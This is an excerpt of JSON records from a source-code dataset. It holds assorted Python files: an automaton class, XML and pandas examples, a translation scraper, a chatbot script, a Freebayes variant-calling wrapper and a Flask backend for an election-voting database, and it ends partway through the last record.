alphabet=self.alphabet.copy(),\n            states=new_states,\n            transitions=new_transitions,\n            initial_state=self.initial_state,\n            final_states=new_final_states,\n        )\n        return result\n\n    def __sub__(self, other):\n        '''\n        dfa - dfa\n        '''\n        if not (Automat.is_deterministic(self) and\n                Automat.is_deterministic(other)):\n            raise TypeError('\"-\" could be applied only to two dfas')\n\n        return ~other & self\n", "repo_name": "NRU-MPEI-IMAI/regular-languages-and-finite-machines-G0-G4", "sub_path": "programs/automat/automat.py", "file_name": "automat.py", "file_ext": "py", "file_size_in_byte": 15226, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.deque", "line_number": 31, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 106, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 123, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 127, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 220, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 274, "usage_type": "call"}]}
{"seq_id": "39231812219", "text": "from xml.dom import minidom\n\nroot = minidom.Document()\nxml = root.createElement('root')\nroot.appendChild(xml)\n\nproductChild = root.createElement('produkt')\nproductChild.setAttribute('nazwa', 'Kurs Python')\n\nxml.appendChild(productChild)\nxml_str = root.toprettyxml(indent=\"\\t\")\n\nsave_path = \"produkt.xml\"\n\nwith open(save_path, \"w\") as f:\n    f.write(xml_str)\n", "repo_name": "dev-com2020/kurs_Python_grudzien", "sub_path": "pakiet/pxml.py", "file_name": "pxml.py", "file_ext": "py", "file_size_in_byte": 358, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "xml.dom.minidom.Document", "line_number": 3, "usage_type": "call"}, {"api_name": "xml.dom.minidom", "line_number": 3, "usage_type": "name"}, {"api_name": "xml.dom", "line_number": 4, "usage_type": "name"}, {"api_name": "xml.dom", "line_number": 5, "usage_type": "argument"}, {"api_name": "xml.dom.appendChild", "line_number": 10, "usage_type": "call"}, {"api_name": "xml.dom", "line_number": 10, "usage_type": "name"}]}
{"seq_id": "33791620712", "text": "\"\"\"Test integration.\"\"\"\n\nimport os\nimport tempfile\n\nimport pandas as pd\n\nfrom app.pipeline import pipeline_completa\n\n\ndef test_integration() -> None:\n    \"\"\"Integration test to check the full consolidate_excels functionality.\"\"\"\n    # Criar uma pasta temporária para simular o ambiente real\n    with tempfile.TemporaryDirectory() as tmpdirname:\n        # Configurar as pastas de entrada e saída\n        input_folder = os.path.join(tmpdirname, \"input\")\n        output_folder = os.path.join(tmpdirname, \"output\")\n        os.makedirs(input_folder)\n\n        # Criar um arquivo Excel real para teste\n        sample_data = pd.DataFrame({\"A\": list(range(1, 11)), \"B\": list(\"abcdefghij\")})\n        sample_file_path = os.path.join(input_folder, \"sample.xlsx\")\n        sample_data.to_excel(sample_file_path, index=False)\n\n        # Executar a função consolidate_excels\n        pipeline_completa(input_folder, output_folder, \"consolidated.xlsx\")\n\n        # Verificar se o arquivo de saída existe e tem o conteúdo esperado\n        output_file_path = os.path.join(output_folder, \"consolidated.xlsx\")\n        assert os.path.exists(output_file_path)\n\n        loaded_data = pd.read_excel(output_file_path)\n        pd.testing.assert_frame_equal(loaded_data, sample_data)\n", "repo_name": "RenanJViana/workshop_estrutura", "sub_path": "tests/integration_test.py", "file_name": "integration_test.py", "file_ext": "py", "file_size_in_byte": 1260, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tempfile.TemporaryDirectory", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 18, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "app.pipeline.pipeline_completa", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "pandas.read_excel", "line_number": 32, "usage_type": "call"}, {"api_name": "pandas.testing.assert_frame_equal", "line_number": 33, "usage_type": "call"}, {"api_name": "pandas.testing", "line_number": 33, "usage_type": "attribute"}]}
{"seq_id": "19065772696", "text": "from urllib.request import Request, urlopen\nfrom bs4 import BeautifulSoup\nimport unicodedata\n\nfrom wikiCall import getAbbreviation\n\nabbrev = getAbbreviation()\nabbrev.append('ja')\n\ndef translate(args):\n    \n    if args:\n        args = args.split(' ')\n    else:\n        return 'All languages: ' + ', '.join(abbrev)\n    \n    i = 0\n    \n    if args[i] in abbrev:\n        from_language = args[i]\n        i += 1\n    else:\n        from_language = \"auto\"\n    \n    if args[i] in abbrev:\n        to_language = args[i]\n        i += 1\n    else:\n        to_language = \"en\"\n        \n    if i == 1:\n        to_language = from_language\n        from_language = \"auto\"\n        \n        \n    sentences = '+'.join(args[i:]).split('\\n')\n    sentences = list(filter(None, sentences))\n    textList = []\n    for sentence in sentences:\n        sentence = unicodedata.normalize('NFKD', sentence).encode('ascii','ignore').decode('utf8')\n    \n        url = 'http://translate.google.com/m?hl={0:s}&sl={1:s}&q={2:s}'\n        link = url.format(to_language, from_language, sentence)\n        request = Request(link, headers={'User-Agent': 'Mozilla/5.0'})\n        web_byte = urlopen(request).read()\n        webpage = web_byte.decode('utf-8')\n        soup = BeautifulSoup(webpage, \"html.parser\")\n        soup = soup.find(\"div\", {'class': 't0'})\n        \n        textList.append(soup.get_text())\n    \n    text = '\\n'.join(textList)\n    if text:\n        print('From: ' + ' '.join(args[i:]))\n        print('To: ' + text)\n        return text\n    return \"I Could not find anything from {0:s}\".format(url)\n", "repo_name": "topias33/vattu", "sub_path": "translator.py", "file_name": "translator.py", "file_ext": "py", "file_size_in_byte": 1565, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "wikiCall.getAbbreviation", "line_number": 7, "usage_type": "call"}, {"api_name": "unicodedata.normalize", "line_number": 40, "usage_type": "call"}, {"api_name": "urllib.request.Request", "line_number": 44, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 45, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 47, "usage_type": "call"}]}
{"seq_id": "39135709281", "text": "from transformers import pipeline, Conversation\n\n\n\nconversational_pipeline = pipeline(\"conversational\")\n\n\n\ndef convOneLine():\n    conv1_start = \"Let's watch a movie tonight - any recommendations?\"\n    conv2_start = \"What's your favorite book?\"\n\n    conv1 = Conversation(conv1_start)\n    conv2 = Conversation(conv2_start)\n\n    conversational_pipeline([conv1, conv2])\n    print(conv1)\n    print(conv2)\n\ndef convToLines():\n    conv1_next = \"What is it about?\"\n    conv2_next = \"Cool, what is the genre of the book?\"\n\n    conv1.add_user_input(conv1_next)\n    conv2.add_user_input(conv2_next)\n    \n    conversational_pipeline([conv1, conv2])\n\n    print(conv1)\n    print(conv2)\n\ndef customConversation():\n    \n    customConv_input = input(\">> \")\n    \n    customConv = Conversation(customConv_input)\n    \n    conversational_pipeline([customConv])\n\n    while customConv_input != \"bye\":\n        print(customConv)\n        \n        customConv_input = input(\">> \")\n        customConv.add_user_input(customConv_input)\n        conversational_pipeline([customConv])    \n     \ncustomConversation()\n\n    \n\n", "repo_name": "CogitoNTNU/nlp-talktoai", "sub_path": "Chatbot/chatbot1.py", "file_name": "chatbot1.py", "file_ext": "py", "file_size_in_byte": 1089, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "transformers.pipeline", "line_number": 5, "usage_type": "call"}, {"api_name": "transformers.Conversation", "line_number": 13, "usage_type": "call"}, {"api_name": "transformers.Conversation", "line_number": 14, "usage_type": "call"}, {"api_name": "transformers.Conversation", "line_number": 36, "usage_type": "call"}]}
{"seq_id": "12985697507", "text": "\"\"\"Wrapper for running Freebayes.\n\"\"\"\n\nimport errno\nimport fileinput\nimport glob\nimport os\nimport subprocess\n\nfrom celery import task\nfrom django.conf import settings\n\nfrom main.models import Dataset\nfrom main.model_utils import get_dataset_with_type\nfrom pipeline.read_alignment_util import ensure_bwa_index\nfrom pipeline.variant_calling.common import add_vcf_dataset\nfrom pipeline.variant_calling.common import process_vcf_dataset\nfrom pipeline.variant_calling.common import get_common_tool_params\n\nfrom pipeline.variant_effects import run_snpeff\nfrom utils import uppercase_underscore\n\n\ndef freebayes_regions(ref_genome,\n        region_size=settings.FREEBAYES_REGION_SIZE):\n    \"\"\"\n    Use bamtools (installed as part of freebayes) to intelligently\n    generate regions that will be run in freebayes in parallel.\n\n    ref_genome: the reference genome object\n    region_size: how many bases each parallelized region 'chunk' will be\n    \"\"\"\n\n    ref_genome_fasta = get_dataset_with_type(ref_genome,\n            Dataset.TYPE.REFERENCE_GENOME_FASTA).get_absolute_location()\n\n    # ensure that the fasta file has an index\n    ensure_bwa_index(ref_genome_fasta)\n\n    ref_genome_faidx = ref_genome_fasta + '.fai'\n\n    regions = []\n\n    with open(ref_genome_faidx) as faidx_fh:\n        for line in faidx_fh:\n            fields = line.strip().split('\\t')\n            chr_name, chr_len = fields[:2]\n            chr_len = int(chr_len)\n            end = 0\n\n        while end < chr_len:\n            start = end\n            end = start + region_size\n            if end > chr_len:\n                end = chr_len\n            regions.append('{chr_name}:{start}-{end}'.format(\n                    chr_name=chr_name,\n                    start=start,\n                    end=end))\n            start = end\n\n    return regions\n\ndef run_freebayes(fasta_ref, sample_alignments, vcf_output_dir,\n        vcf_output_filename, alignment_type, region=None, **kwargs):\n    \"\"\"Run freebayes using the bam alignment files keyed by the alignment_type\n    for all Genomes of the passed in ReferenceGenome.\n\n    NOTE: If a Genome doesn't have a bam alignment file with this\n    alignment_type, then it won't be used.\n\n    Returns:\n        Boolean, True if successfully made it to the end, else False.\n    \"\"\"\n    bam_files = [\n            get_dataset_with_type(sa, alignment_type).get_absolute_location()\n            for sa in sample_alignments]\n\n    # Build up the bam part of the freebayes binary call.\n    bam_part = []\n    for bam_file in bam_files:\n        bam_part.append('--bam')\n        bam_part.append(bam_file)\n\n    # Determine alignment ploidy (haploid or diploid).\n    alignment_group = sample_alignments[0].alignment_group\n    if alignment_group.alignment_options['call_as_haploid']:\n        alignment_ploidy = 1\n    else:\n        alignment_ploidy = 2\n\n    other_args_part = [\n        '--fasta-reference', fasta_ref,\n        '--pvar', '0.001',\n        '--ploidy', str(alignment_ploidy),\n        '--min-alternate-fraction', '.3',\n        '--hwe-priors-off',\n        # '--binomial-obs-priors-off',\n        '--use-mapping-quality',\n        '--min-base-quality', '25',\n        '--min-mapping-quality', '30'\n    ]\n\n    if region:\n        other_args_part.extend(['--region',region])\n\n    # Build the full command and execute it for all bam files at once.\n    full_command = (\n            ['%s/freebayes/freebayes' % settings.TOOLS_DIR] +\n            bam_part +\n            other_args_part)\n\n    with open(vcf_output_filename, 'w') as fh:\n        subprocess.check_call(full_command, stdout=fh)\n\n    return True # success\n\n\n@task\ndef merge_freebayes_parallel(alignment_group):\n    \"\"\"\n    Merge, sort, and make unique all regional freebayes variant calls after\n    parallel execution.\n\n    Returns the path to the merged vcf file.\n    \"\"\"\n    # First, grab all freebayes parallel vcf files.\n    common_params = get_common_tool_params(alignment_group)\n    partial_freebayes_vcf_output_dir = os.path.join(\n            common_params['output_dir'], 'freebayes')\n\n    # Glob all the parial (region-specific) vcf files.\n    # Assert that there is at least one.\n    vcf_output_filename_prefix = os.path.join(partial_freebayes_vcf_output_dir,\n            uppercase_underscore(common_params['alignment_type']) +\n            '.partial.*.vcf')\n    vcf_files = glob.glob(vcf_output_filename_prefix)\n    assert len(vcf_files), (\n            \"No vcf files at freebayes merge step. Did freebayes fail?\")\n\n    # Generate output filename.\n    vcf_ouput_filename_merged = os.path.join(partial_freebayes_vcf_output_dir,\n            uppercase_underscore(common_params['alignment_type']) + '.vcf')\n    vcf_ouput_filename_merged_fh = open(vcf_ouput_filename_merged, 'w')\n\n    streamsort_cmd = ' '.join([\n            settings.VCFSTREAMSORT_BINARY,\n            '-w 1000 | ',\n            settings.VCFUNIQ_BINARY])\n\n    # create a pipe to write to that will sort all the sub-vcfs\n    stream_merge_proc = subprocess.Popen(streamsort_cmd,\n            stdin=subprocess.PIPE,\n            stdout=vcf_ouput_filename_merged_fh,\n            shell=True)\n\n    # concatenate all the vcf files w/ fileinput and keep all but the first\n    # header and write to the stream_merge_proc stdin pipe\n    header=True\n    for line in fileinput.input(vcf_files):\n        #https://gist.github.com/waylan/2353749\n        try:\n            if line.startswith('##'):\n                if header:\n                    stream_merge_proc.stdin.write(line)\n                continue\n            elif line.startswith('#'):\n                if header:\n                   stream_merge_proc.stdin.write(line)\n                   header=False\n                continue\n            stream_merge_proc.stdin.write(line)\n        except IOError as e:\n            if e.errno == errno.EPIPE or e.errno == errno.EINVAL:\n                # Stop loop on \"Invalid pipe\" or \"Invalid argument\".\n                # No sense in continuing with broken pipe.\n                break\n            else:\n                # Raise any other error.\n                raise\n\n    # close the stdin to the stream merge, wait for it to finish,\n    # and close the file.\n    stream_merge_proc.stdin.close()\n    stream_merge_proc.wait()\n    vcf_ouput_filename_merged_fh.close()\n\n    vcf_dataset_type = Dataset.TYPE.VCF_FREEBAYES\n    vcf_annotated_dataset_type = Dataset.TYPE.VCF_FREEBAYES_SNPEFF\n\n    # add unannotated vcf dataset first\n    vcf_dataset = add_vcf_dataset(alignment_group, vcf_dataset_type,\n            vcf_ouput_filename_merged)\n\n    # If genome is annotated then run snpeff now,\n    # then update the vcf_output_filename and vcf_dataset_type.\n    if alignment_group.reference_genome.is_annotated():\n\n        vcf_ouput_filename_merged_snpeff = run_snpeff(\n                alignment_group, Dataset.TYPE.BWA_ALIGN)\n        \n        vcf_dataset_type = vcf_annotated_dataset_type\n\n        vcf_dataset = add_vcf_dataset(alignment_group, \n                vcf_dataset_type,\n                vcf_ouput_filename_merged_snpeff)\n\n    # generate variants, process, etc\n    process_vcf_dataset(alignment_group, vcf_dataset_type)\n\n    #remove the partial vcfs\n    for filename in vcf_files:\n        os.remove(filename)\n\n    return vcf_dataset\n", "repo_name": "woodymit/millstone_accidental_source", "sub_path": "genome_designer/pipeline/variant_calling/freebayes.py", "file_name": "freebayes.py", "file_ext": "py", "file_size_in_byte": 7211, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.conf.settings.FREEBAYES_REGION_SIZE", "line_number": 25, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 25, "usage_type": "name"}, {"api_name": "main.model_utils.get_dataset_with_type", "line_number": 34, "usage_type": "call"}, {"api_name": "main.models.Dataset.TYPE", "line_number": 35, "usage_type": "attribute"}, {"api_name": "main.models.Dataset", "line_number": 35, "usage_type": "name"}, {"api_name": "pipeline.read_alignment_util.ensure_bwa_index", "line_number": 38, "usage_type": "call"}, {"api_name": "main.model_utils.get_dataset_with_type", "line_number": 76, "usage_type": "call"}, {"api_name": "django.conf.settings.TOOLS_DIR", "line_number": 109, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 109, "usage_type": "name"}, {"api_name": "subprocess.check_call", "line_number": 114, "usage_type": "call"}, {"api_name": "pipeline.variant_calling.common.get_common_tool_params", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 129, "usage_type": "call"}, {"api_name": "os.path", "line_number": 129, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 134, "usage_type": "call"}, {"api_name": "os.path", "line_number": 134, "usage_type": "attribute"}, {"api_name": "utils.uppercase_underscore", "line_number": 135, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 137, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 142, "usage_type": "call"}, {"api_name": "os.path", "line_number": 142, "usage_type": "attribute"}, {"api_name": "utils.uppercase_underscore", "line_number": 143, "usage_type": "call"}, {"api_name": "django.conf.settings.VCFSTREAMSORT_BINARY", "line_number": 147, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 147, "usage_type": "name"}, {"api_name": "django.conf.settings.VCFUNIQ_BINARY", "line_number": 149, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 149, "usage_type": "name"}, {"api_name": "subprocess.Popen", "line_number": 152, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 153, "usage_type": "attribute"}, {"api_name": "fileinput.input", "line_number": 160, "usage_type": "call"}, {"api_name": "errno.EPIPE", "line_number": 174, "usage_type": "attribute"}, {"api_name": "errno.EINVAL", "line_number": 174, "usage_type": "attribute"}, {"api_name": "main.models.Dataset.TYPE", "line_number": 188, "usage_type": "attribute"}, {"api_name": "main.models.Dataset", "line_number": 188, "usage_type": "name"}, {"api_name": "main.models.Dataset.TYPE", "line_number": 189, "usage_type": "attribute"}, {"api_name": "main.models.Dataset", "line_number": 189, "usage_type": "name"}, {"api_name": "pipeline.variant_calling.common.add_vcf_dataset", "line_number": 192, "usage_type": "call"}, {"api_name": "pipeline.variant_effects.run_snpeff", "line_number": 199, "usage_type": "call"}, {"api_name": "main.models.Dataset.TYPE", "line_number": 200, "usage_type": "attribute"}, {"api_name": "main.models.Dataset", "line_number": 200, "usage_type": "name"}, {"api_name": "pipeline.variant_calling.common.add_vcf_dataset", "line_number": 204, "usage_type": "call"}, {"api_name": "pipeline.variant_calling.common.process_vcf_dataset", "line_number": 209, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 213, "usage_type": "call"}, {"api_name": "celery.task", "line_number": 119, "usage_type": "name"}]}
{"seq_id": "27569397785", "text": "from conexion import obtener_conexion\nimport controlador\nfrom flask import Flask, jsonify, request, Response\nfrom flask_cors import CORS\nimport mysql.connector\nfrom datetime import datetime\nimport csv\n\nfrom votacionTemp import VotacionTemp \n\n\n\napp = Flask(__name__)\ncors = CORS(app, resources={r\"/*\": {\"origins\": [\"*\"]}})\napp.config['CORS_HEADERS'] = 'Content-Type'\n\n#Enpoint para probar la conexion con la base de datos\n@app.route('/', methods=['GET'])\ndef index():\n    try:\n        conexion = obtener_conexion()\n        print(\"CONEXION EXITOSA\")\n        response = jsonify({'status':'success','Votaciones': \"CONEXION EXITOSA\"})\n        response.status_code = 200\n        return response\n    except:\n        print(\"NO SE PUEDE ESTABLECER LA CONEXION A LA BASE DE DATOS\")\n        response = jsonify({'status':'error','Votaciones': \"NO SE PUEDE ESTABLECER LA CONEXION A LA BASE DE DATOS\"})\n        response.status_code = 500\n        return response\n    \n@app.route('/mostrartablas', methods=['GET'])\ndef MostrarTablas():\n    try:\n        datos = controlador.MostrarTablas()\n        if datos is not None:\n            response = jsonify({'status':'success', 'Votaciones':'DATOS OBTENIDOS EXITOSAMENTE', 'datos':datos})\n            response.status_code = 200\n            return response \n        else:\n            response = jsonify({'status':'error','Votaciones': 'ERROR EN LA OBTENCION DE TABLAS','datos':datos})\n            response.status_code = 500\n            return response\n    except:\n        response = jsonify({'status':'error','Votaciones': 'ERROR DE COMUNICACION','datos':None})\n        response.status_code = 500\n        return response\n\n# csv1 = \"../tests/candidatos.csv\"\n# csv2 = \"../tests/cargos.csv\"\n# csv3 = \"../tests/ciudadanos.csv\"\n# csv4 = \"../tests/departamentos.csv\"\n# csv5 = \"../tests/mesas.csv\"\n# csv6 = \"../tests/partidos.csv\"\n# csv7 = \"../tests/votaciones.csv\"\n\n@app.route('/cargamasiva')\ndef CargaMasiva():\n    # Initialize cursor within app context\n    datos_partidos = cargar_datos_desde_csv('../tests/partidos.csv')\n    for partido in datos_partidos:\n        pass\n        # print(partido[0], partido[1], partido[2], partido[3])\n        controlador.InsertarPartido(partido[0], partido[1], partido[2], partido[3])\n    print(\"--> SE CARGO PARTIDOS\")\n    datos_cargo = cargar_datos_desde_csv('../tests/cargos.csv')\n    for cargo in datos_cargo:\n        pass\n        # print(cargo[0], cargo[1])\n        controlador.InsertarCargo(cargo[0], cargo[1])\n    print(\"--> SE CARGO CARGOS\")\n    datos_candidatos = cargar_datos_desde_csv('../tests/candidatos.csv')\n    for candidato in datos_candidatos:\n        pass\n        # print(candidato[0], candidato[1], candidato[2], candidato[3], candidato[4])\n        controlador.InsertarCandidato(candidato[0], candidato[1], candidato[2], candidato[3], candidato[4])\n    print(\"--> SE CARGO CANDIDATOS\")\n    datos_departamentos = cargar_datos_desde_csv('../tests/departamentos.csv')\n    for departamento in datos_departamentos:\n        pass\n        # print(departamento[0], departamento[1])\n        controlador.InsertarDepartamento(departamento[0], departamento[1])\n    print(\"--> SE CARGO DEPARTAMENTOS\")\n    datos_mesa = cargar_datos_desde_csv('../tests/mesas.csv')\n    for mesa in datos_mesa:\n        pass\n        # print(mesa[0], mesa[1])\n        controlador.InsertarMesa(mesa[0], mesa[1])\n    print(\"--> SE CARGO MESAS\")\n\n    response = jsonify({'status':'error','Votaciones': '','datos':None})\n    response.status_code = 500\n    return response\n\n@app.route('/ciudadanos')\ndef Ciudadanos():\n    datos_ciudadano = cargar_datos_desde_csv('../tests/ciudadanos.csv')\n    if datos_ciudadano is not None:\n        for ciudadano in datos_ciudadano:\n            pass\n            print(ciudadano[0], ciudadano[1], ciudadano[2], ciudadano[3], ciudadano[4], ciudadano[5], ciudadano[6])\n            controlador.InsertarCiudadano(ciudadano[0], ciudadano[1], ciudadano[2], ciudadano[3], ciudadano[4], ciudadano[5], ciudadano[6])\n        print(\"--> SE CARGO CIUDADANOS\")\n        response = jsonify({'status':'error','Votaciones': '','datos':None})\n        response.status_code = 500\n        return response\n\n@app.route('/votaciones')\ndef Votaciones():\n    datos_votacion = cargar_datos_desde_csv('../tests/votaciones.csv')\n    votaciones_dict = {}\n    if datos_votacion is not None:\n        for indice, votacion in enumerate(datos_votacion):\n            voto_id = votacion[0]\n            id_candidato = votacion[1]\n            if id_candidato != -1:\n                if voto_id in votaciones_dict:\n                    votaciones_dict[voto_id].agregar_candidato(id_candidato)\n                else:\n                    nueva_votacion = VotacionTemp(\n                        voto_id, votacion[3], votacion[2], votacion[4])\n                    nueva_votacion.agregar_candidato(id_candidato)\n                    votaciones_dict[voto_id] = nueva_votacion\n        # Ahora tendrás un diccionario donde las claves son los voto_id y los valores son instancias de VotacionTemp\n        for voto_id, votacion_temp in votaciones_dict.items():\n            pass\n            # votacion_temp.ciudadano_dpi = votacion_temp.ciudadano_dpi[:-3]\n            # print(f\"Voto ID: {voto_id}, Ciudadano DPI: {votacion_temp.ciudadano_dpi}, Mesa ID: {votacion_temp.mesa_id}, Fecha: {votacion_temp.fecha_hora}\")\n            controlador.InsertarVotacion(voto_id, votacion_temp.ciudadano_dpi, votacion_temp.mesa_id, votacion_temp.fecha_hora)\n            for candidato_id in votacion_temp.candidatos:\n                pass\n                # print(f\"Voto ID: {voto_id} - Candidato ID: {candidato_id}\")\n                # if candidato_id != \"-1\":\n                # print(\"hola\", candidato_id, candidato_id != -1)\n                controlador.InsertarCandidatoVotado(voto_id, candidato_id)\n        print(\"--> SE CARGO VOTACIONES\")\n        response = jsonify({'status':'error','Votaciones': '','datos':None})\n        response.status_code = 500\n        return response\n\n\n@app.route('/eliminartablas')\ndef EliminarTablas():\n    try:\n        controlador.EliminarTablas()\n        response = jsonify({'status':'success', 'Votaciones':'TABLAS ELIMINADAS EXITOSAMENTE'})\n        response.status_code = 200\n        return response \n    except:\n        response = jsonify({'status':'error','Votaciones': 'ERROR AL ELIMINAR LAS TABLAS'})\n        response.status_code = 500\n        return response\n\n@app.route('/creartablas')\ndef CrearTablas():\n    try:\n        controlador.CrearTablas()\n        response = jsonify({'status':'success', 'Votaciones':'TABLAS CREADAS EXITOSAMENTE'})\n        response.status_code = 200\n        return response \n    except:\n        response = jsonify({'status':'error','Votaciones': 'ERROR AL CREAR LAS TABLAS'})\n        response.status_code = 500\n        return response\n\n@app.route('/limpiartablas')\ndef LimpiarTablas():\n    try:\n        controlador.LimpiarTablas()\n        response = jsonify({'status':'success', 'Votaciones':'LAS TABLAS SE LIMPIARON CORRECTAMENTE'})\n        response.status_code = 200\n        return response \n    except:\n        response = jsonify({'status':'error','Votaciones': 'ERROR AL LIMPIAR LAS TABLAS'})\n        response.status_code = 500\n        return response\n\n\n@app.route('/reporte/1', methods=['GET'])\ndef MostrarNumeroCandidatosDiputadosPorPartido():\n    try:\n        data = controlador.MostrarNumeroCandidatosDiputadosPorPartido()\n        response = jsonify({'status':'success', 'Votaciones':'REPORTE CON EXITO', 'datos':data})\n        response.status_code = 200\n        return response \n    except:\n        response = jsonify({'status':'error','Votaciones': 'ERROR AL MOSTRAR EL REPORTE', 'data':None})\n        response.status_code = 500\n        return response\n\n# @app.route('/reporte/2', methods=['GET'])\n# def LimpiarTablas():\n#     try:\n#         controlador.LimpiarTablas()\n#         response = jsonify({'status':'success', 'Votaciones':'REPORTE CON EXITO'})\n#         response.status_code = 200\n#         return response \n#     except:\n#         response = jsonify({'status':'error','Votaciones': 'ERROR AL MOSTRAR EL REPORTE'})\n#         response.status_code = 500\n#         return response\n\n# @app.route('/reporte/3', methods=['GET'])\n# def LimpiarTablas():\n#     try:\n#         controlador.LimpiarTablas()\n#         response = jsonify({'status':'success', 'Votaciones':'REPORTE CON EXITO'})\n#         response.status_code = 200\n#         return response \n#     except:\n#         response = jsonify({'status':'error','Votaciones': 'ERROR AL MOSTRAR EL REPORTE'})\n#         response.status_code = 500\n#         return response\n\n# @app.route('/reporte/4', methods=['GET'])\n# def LimpiarTablas():\n#     try:\n#         controlador.LimpiarTablas()\n#         response = jsonify({'status':'success', 'Votaciones':'REPORTE CON EXITO'})\n#         response.status_code = 200\n#         return response \n#     except:\n#         response = jsonify({'status':'error','Votaciones': 'ERROR AL MOSTRAR EL REPORTE'})\n#         response.status_code = 500\n#         return response\n\n# @app.route('/reporte/5', methods=['GET'])\n# def LimpiarTablas():\n#     try:\n#         controlador.LimpiarTablas()\n#         response = jsonify({'status':'success', 'Votaciones':'REPORTE CON EXITO'})\n#         response.status_code = 200\n#         return response \n#     except:\n#         response = jsonify({'status':'error','Votaciones': 'ERROR AL MOSTRAR EL REPORTE'})\n#         response.status_code = 500\n#         return response\n\n# @app.route('/reporte/6', methods=['GET'])\n# def LimpiarTablas():\n#     try:\n#         controlador.LimpiarTablas()\n#         response = jsonify({'status':'success', 'Votaciones':'REPORTE CON EXITO'})\n#         response.status_code = 200\n#         return response \n#     except:\n#         response = jsonify({'status':'error','Votaciones': 'ERROR AL MOSTRAR EL REPORTE'})\n#         response.status_code = 500\n#         return response\n\n# @app.route('/reporte/7', methods=['GET'])\n# def LimpiarTablas():\n#     try:\n#         controlador.LimpiarTablas()\n#         response = jsonify({'status':'success', 'Votaciones':'REPORTE CON EXITO'})\n#         response.status_code = 200\n#         return response \n#     except:\n#         response = jsonify({'status':'error','Votaciones': 'ERROR AL MOSTRAR EL REPORTE'})\n#         response.status_code = 500\n#         return response\n\n# @app.route('/reporte/8', methods=['GET'])\n# def LimpiarTablas():\n#     try:\n#         controlador.LimpiarTablas()\n#         response = jsonify({'status':'success', 'Votaciones':'REPORTE CON EXITO'})\n#         response.status_code = 200\n#         return response \n#     except:\n#         response = jsonify({'status':'error','Votaciones': 'ERROR AL MOSTRAR EL REPORTE'})\n#         response.status_code = 500\n#         return response\n\n# @app.route('/reporte/9', methods=['GET'])\n# def LimpiarTablas():\n#     try:\n#         controlador.LimpiarTablas()\n#         response = jsonify({'status':'success', 'Votaciones':'REPORTE CON EXITO'})\n#         response.status_code = 200\n#         return response \n#     except:\n#         response = jsonify({'status':'error','Votaciones': 'ERROR AL MOSTRAR EL REPORTE'})\n#         response.status_code = 500\n#         return response\n\n# @app.route('/reporte/10', methods=['GET'])\n# def LimpiarTablas():\n#     try:\n#         controlador.LimpiarTablas()\n#         response = jsonify({'status':'success', 'Votaciones':'REPORTE CON EXITO'})\n#         response.status_code = 200\n#         return response \n#     except:\n#         response = jsonify({'status':'error','Votaciones': 'ERROR AL MOSTRAR EL REPORTE'})\n#         response.status_code = 500\n#         return response\n\n\n\n\n\n\ndef cargar_datos_desde_csv(nombre_archivo):\n    datos = []\n    with open(nombre_archivo, 'r', encoding='utf-8') as csvfile:\n        csvreader = csv.reader(csvfile)\n        next(csvreader)  # Para omitir la primera fila (encabezados)\n        for row in csvreader:\n            if row != None:\n                datos.append(row)\n    return datos\n\n\nif __name__ == '__main__':\n    print(\"SERVIDOR INICIADO EN EL PUERTO: 5000\")\n    app.run(host=\"0.0.0.0\", port=5000, debug=True)", "repo_name": "KritianWhite/PY1_DBS1", "sub_path": "backend/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 12125, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 13, "usage_type": "call"}, {"api_name": "flask_cors.CORS", "line_number": 14, "usage_type": "call"}, {"api_name": "conexion.obtener_conexion", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 23, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 28, "usage_type": "call"}, {"api_name": "controlador.MostrarTablas", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 37, "usage_type": "call"}, {"api_name": 